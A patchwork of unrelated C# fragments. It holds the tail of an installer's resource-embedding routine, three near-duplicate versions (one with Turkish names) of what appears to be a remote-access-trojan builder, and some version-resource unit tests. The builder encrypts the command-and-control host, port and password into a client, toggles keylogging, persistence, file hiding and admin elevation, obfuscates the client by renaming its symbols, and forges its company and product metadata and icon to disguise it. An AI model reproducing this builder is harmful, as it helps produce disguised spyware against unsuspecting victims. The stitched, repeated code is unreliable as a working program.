throw new Win32Exception(Marshal.GetLastWin32Error());
}
if (!string.IsNullOrEmpty(args.banner))
{
args.WriteLine(string.Format("Embedding banner \"{0}\"", args.banner));
ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_BANNER"),
ResourceUtil.NEUTRALLANGID, args.banner);
}
if (!string.IsNullOrEmpty(args.splash))
{
args.WriteLine(string.Format("Embedding splash screen \"{0}\"", args.splash));
ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_SPLASH"),
ResourceUtil.NEUTRALLANGID, args.splash);
}
args.WriteLine(string.Format("Embedding configuration \"{0}\"", configFilename));
ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId("RES_CONFIGURATION"),
ResourceUtil.NEUTRALLANGID, configFilename);
#region Embed Resources
EmbedFileCollection html_files = new EmbedFileCollection(args.apppath);
if (args.htmlFiles != null)
{
foreach (string filename in args.htmlFiles)
{
string fullpath = Path.GetFullPath(filename);
if (Directory.Exists(fullpath))
{
html_files.AddDirectory(fullpath);
}
else
{
html_files.Add(new EmbedFilePair(fullpath, Path.GetFileName(filename)));
}
}
}
using (IEnumerator <EmbedFilePair> html_files_enumerator = html_files.GetEnumerator())
{
while (html_files_enumerator.MoveNext())
{
EmbedFilePair pair = html_files_enumerator.Current;
String id = "";
for (int i = 0; i < pair.relativepath.Length; i++)
{
id += Char.IsLetterOrDigit(pair.relativepath[i]) ? pair.relativepath[i] : '_';
}
args.WriteLine(string.Format("Embedding HTML resource \"{0}\": {1}", id, pair.fullpath));
ResourceUpdate.WriteFile(h, new ResourceId("HTM"), new ResourceId(id.ToUpper()),
ResourceUtil.NEUTRALLANGID, pair.fullpath);
}
}
#endregion
#region Embed CABs
if (args.embed)
{
args.WriteLine("Embedding CABs");
foreach (string cabfile in Directory.GetFiles(cabtemp))
{
args.WriteLine(string.Format(" {0} - {1}", Path.GetFileName(cabfile),
EmbedFileCollection.FormatBytes(new FileInfo(cabfile).Length)));
ResourceUpdate.WriteFile(h, new ResourceId("RES_CAB"), new ResourceId(Path.GetFileName(cabfile)),
ResourceUtil.NEUTRALLANGID, cabfile);
}
// cab directory
args.WriteLine("Embedding CAB directory");
StringBuilder filesDirectory = new StringBuilder();
filesDirectory.AppendLine(string.Format("Total CAB size: {0}\r\n", EmbedFileCollection.FormatBytes(totalSize)));
filesDirectory.AppendLine(string.Join("\r\n\r\n", allFilesList.ToArray()));
byte[] filesDirectory_b = Encoding.Unicode.GetBytes(filesDirectory.ToString());
ResourceUpdate.Write(h, new ResourceId("CUSTOM"), new ResourceId("RES_CAB_LIST"),
ResourceUtil.NEUTRALLANGID, filesDirectory_b);
}
#endregion
// resource files
ResourceFileCollection resources = configfile.GetResources(supportdir);
foreach (ResourceFilePair r_pair in resources)
{
args.WriteLine(string.Format("Embedding resource \"{0}\": {1}", r_pair.id, r_pair.path));
ResourceUpdate.WriteFile(h, new ResourceId("CUSTOM"), new ResourceId(r_pair.id),
ResourceUtil.NEUTRALLANGID, r_pair.path);
}
args.WriteLine(string.Format("Writing {0}", EmbedFileCollection.FormatBytes(totalSize)));
if (!ResourceUpdate.EndUpdateResource(h, false))
{
throw new Win32Exception(Marshal.GetLastWin32Error());
}
#endregion
}
finally
{
if (Directory.Exists(cabtemp))
{
args.WriteLine(string.Format("Cleaning up \"{0}\"", cabtemp));
Directory.Delete(cabtemp, true);
}
if (!string.IsNullOrEmpty(configTemp))
{
args.WriteLine(string.Format("Cleaning up \"{0}\"", configTemp));
File.Delete(configTemp);
}
}
args.WriteLine(string.Format("Successfully created \"{0}\" ({1})",
args.output, EmbedFileCollection.FormatBytes(new FileInfo(args.output).Length)));
}
public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version)
{
// PHASE 1 - Settings
string encKey = Helper.Helper.GetRandomName(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1, ints = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
break;
case 8: //random encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
break;
case 4: //AdminElevation
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(adminelevation));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
switch (ints)
{
case 1: //port
methodDef.Body.Instructions[i].Operand = port;
break;
case 2: //reconnectdelay
methodDef.Body.Instructions[i].Operand = reconnectdelay;
break;
}
ints++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(output);
// PHASE 4 - Assembly Information changing
if (asminfo != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(output);
versionResource.FileVersion = asminfo[7];
versionResource.ProductVersion = asminfo[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = asminfo[2];
stringFileInfo["FileDescription"] = asminfo[1];
stringFileInfo["ProductName"] = asminfo[0];
stringFileInfo["LegalCopyright"] = asminfo[3];
stringFileInfo["LegalTrademarks"] = asminfo[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = asminfo[5];
stringFileInfo["OriginalFilename"] = asminfo[5];
versionResource.SaveTo(output);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(iconpath))
{
IconInjector.InjectIcon(output, iconpath);
}
}
public static void Build(KurulumAyarları options)
{
string encKey = DosyaYardımcısı.GetRandomFilename(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Ayarlar.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr")
{
switch (strings)
{
case 1:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
break;
case 2:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
break;
case 3:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
break;
case 4:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
break;
case 5:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
break;
case 6:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
break;
case 7:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
break;
case 8:
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 9:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
case 10:
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0")
{
switch (bools)
{
case 1:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
case 5:
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4")
{
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s")
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
r.AsmDef.Write(options.OutputPath);
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
if (!string.IsNullOrEmpty(options.IconPath))
{
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
}
}
/// <summary>
/// Builds a client executable.
/// </summary>
/// <remarks>
/// Assumes the 'client.bin' file exist.
/// </remarks>
public static void Build(BuildOptions options)
{
// PHASE 1 - Settings
string encKey = FileHelper.GetRandomFilename(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin");
foreach (var typeDef in asmDef.Modules[0].Types)
{
if (typeDef.FullName == "xClient.Config.Settings")
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey);
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey);
break;
case 8: //encryption key
methodDef.Body.Instructions[i].Operand = encKey;
break;
case 9: //tag
methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey);
break;
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger));
break;
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
//reconnectdelay
methodDef.Body.Instructions[i].Operand = options.Delay;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
{
throw new Exception("renaming failed");
}
// PHASE 3 - Saving
r.AsmDef.Write(options.OutputPath);
// PHASE 4 - Assembly Information changing
if (options.AssemblyInformation != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(options.OutputPath);
versionResource.FileVersion = options.AssemblyInformation[7];
versionResource.ProductVersion = options.AssemblyInformation[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = options.AssemblyInformation[2];
stringFileInfo["FileDescription"] = options.AssemblyInformation[1];
stringFileInfo["ProductName"] = options.AssemblyInformation[0];
stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3];
stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = options.AssemblyInformation[5];
stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5];
versionResource.SaveTo(options.OutputPath);
}
// PHASE 5 - Icon changing
if (!string.IsNullOrEmpty(options.IconPath))
{
IconInjector.InjectIcon(options.OutputPath, options.IconPath);
}
}
public void TestDeepCopyBytes(string binaryName)
{
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
Assert.IsTrue(File.Exists(filename));
VersionResource existingVersionResource = new VersionResource();
existingVersionResource.Language = ResourceUtil.USENGLISHLANGID;
Console.WriteLine("Loading {0}", filename);
existingVersionResource.LoadFrom(filename);
DumpResource.Dump(existingVersionResource);
VersionResource versionResource = new VersionResource();
versionResource.FileVersion = existingVersionResource.FileVersion;
versionResource.ProductVersion = existingVersionResource.ProductVersion;
StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];
// copy string resources, data only
StringFileInfo stringFileInfo = new StringFileInfo();
versionResource["StringFileInfo"] = stringFileInfo;
{
Dictionary <string, StringTable> .Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
while (enumerator.MoveNext())
{
StringTable stringTable = new StringTable(enumerator.Current.Key);
stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
Dictionary <string, StringTableEntry> .Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
while (resourceEnumerator.MoveNext())
{
StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
stringResource.Value = resourceEnumerator.Current.Value.Value;
stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
}
}
}
// copy var resources, data only
VarFileInfo varFileInfo = new VarFileInfo();
versionResource["VarFileInfo"] = varFileInfo;
{
Dictionary <string, VarTable> .Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
while (enumerator.MoveNext())
{
VarTable varTable = new VarTable(enumerator.Current.Key);
varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
Dictionary <UInt16, UInt16> .Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
while (translationEnumerator.MoveNext())
{
varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
}
}
}
ByteUtils.CompareBytes(existingVersionResource.WriteAndGetBytes(), versionResource.WriteAndGetBytes());
}
public void TestDeleteDeepCopyAndSaveVersionResource(string binaryName)
{
Uri uri = new Uri(Assembly.GetExecutingAssembly().CodeBase);
string filename = Path.Combine(Path.GetDirectoryName(HttpUtility.UrlDecode(uri.AbsolutePath)), "Binaries\\" + binaryName);
Assert.IsTrue(File.Exists(filename));
string targetFilename = Path.Combine(Path.GetTempPath(), binaryName);
File.Copy(filename, targetFilename, true);
Console.WriteLine(targetFilename);
VersionResource existingVersionResource = new VersionResource();
existingVersionResource.Language = ResourceUtil.USENGLISHLANGID;
existingVersionResource.LoadFrom(targetFilename);
DumpResource.Dump(existingVersionResource);
existingVersionResource.DeleteFrom(targetFilename);
VersionResource versionResource = new VersionResource();
versionResource.FileVersion = existingVersionResource.FileVersion;
versionResource.ProductVersion = existingVersionResource.ProductVersion;
StringFileInfo existingVersionResourceStringFileInfo = (StringFileInfo)existingVersionResource["StringFileInfo"];
VarFileInfo existingVersionResourceVarFileInfo = (VarFileInfo)existingVersionResource["VarFileInfo"];
// copy string resources, data only
StringFileInfo stringFileInfo = new StringFileInfo();
versionResource["StringFileInfo"] = stringFileInfo;
{
Dictionary <string, StringTable> .Enumerator enumerator = existingVersionResourceStringFileInfo.Strings.GetEnumerator();
while (enumerator.MoveNext())
{
StringTable stringTable = new StringTable(enumerator.Current.Key);
stringFileInfo.Strings.Add(enumerator.Current.Key, stringTable);
Dictionary <string, StringTableEntry> .Enumerator resourceEnumerator = enumerator.Current.Value.Strings.GetEnumerator();
while (resourceEnumerator.MoveNext())
{
StringTableEntry stringResource = new StringTableEntry(resourceEnumerator.Current.Key);
stringResource.Value = resourceEnumerator.Current.Value.Value;
stringTable.Strings.Add(resourceEnumerator.Current.Key, stringResource);
}
}
}
// copy var resources, data only
VarFileInfo varFileInfo = new VarFileInfo();
versionResource["VarFileInfo"] = varFileInfo;
{
Dictionary <string, VarTable> .Enumerator enumerator = existingVersionResourceVarFileInfo.Vars.GetEnumerator();
while (enumerator.MoveNext())
{
VarTable varTable = new VarTable(enumerator.Current.Key);
varFileInfo.Vars.Add(enumerator.Current.Key, varTable);
Dictionary <UInt16, UInt16> .Enumerator translationEnumerator = enumerator.Current.Value.Languages.GetEnumerator();
while (translationEnumerator.MoveNext())
{
varTable.Languages.Add(translationEnumerator.Current.Key, translationEnumerator.Current.Value);
}
}
}
versionResource.SaveTo(targetFilename);
Console.WriteLine("Reloading {0}", targetFilename);
VersionResource newVersionResource = new VersionResource();
newVersionResource.LoadFrom(targetFilename);
DumpResource.Dump(newVersionResource);
AssertOneVersionResource(targetFilename);
Assert.AreEqual(newVersionResource.FileVersion, versionResource.FileVersion);
Assert.AreEqual(newVersionResource.ProductVersion, versionResource.ProductVersion);
StringFileInfo testedStringFileInfo = (StringFileInfo)newVersionResource["StringFileInfo"];
foreach (KeyValuePair <string, StringTableEntry> stringResource in testedStringFileInfo.Default.Strings)
{
Assert.AreEqual(stringResource.Value.Value, stringFileInfo[stringResource.Key]);
}
VarFileInfo newVarFileInfo = (VarFileInfo)newVersionResource["VarFileInfo"];
foreach (KeyValuePair <UInt16, UInt16> varResource in newVarFileInfo.Default.Languages)
{
Assert.AreEqual(varResource.Value, varFileInfo[varResource.Key]);
}
}